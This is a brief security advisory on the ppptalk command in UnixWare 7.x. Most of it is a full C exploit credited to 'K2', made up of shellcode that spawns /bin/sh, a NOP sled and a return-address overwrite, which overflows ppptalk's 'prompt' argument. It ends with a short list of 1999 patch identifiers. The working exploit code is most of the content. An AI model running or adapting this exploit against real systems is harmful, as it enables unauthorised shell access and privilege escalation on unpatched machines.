COMMAND
ppptalk
SYSTEMS AFFECTED
Unixware 7.x
PROBLEM
'what's your style?' posted following exploit.
/*
/usr/bin/ppptalk UnixWare exploit
by: K2
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shell[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
const int buffersize=364;
const char x86_nop=0x90;
long nop,esp;
long offset=0;
char buffer[2000];
long get_esp() { __asm__("movl %esp,%eax"); }
int main (int argc, char *argv[]) {
int i;
if (argc > 1) offset = strtol(argv[1], NULL, 0);
if (argc > 2) nop = strtoul(argv[2], NULL, 0);
else
nop = 101;
esp = get_esp();
memset(buffer, x86_nop, buffersize);
memcpy(buffer+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < buffersize-4; i += 4)
*((int *) &buffer[i]) = esp+offset;
execl("/usr/bin/ppptalk", "ppptalk","prompt", buffer, NULL);
printf("exec failed!\n");
return 0;
}
SOLUTION
Patches for ppptalk were released in December 1999. The patched
ppptalk is in
ptf7444a - UnixWare 7.1.0
SSE044 - UnixWare 7.0.1
SSE043 - UnixWare 7.0.0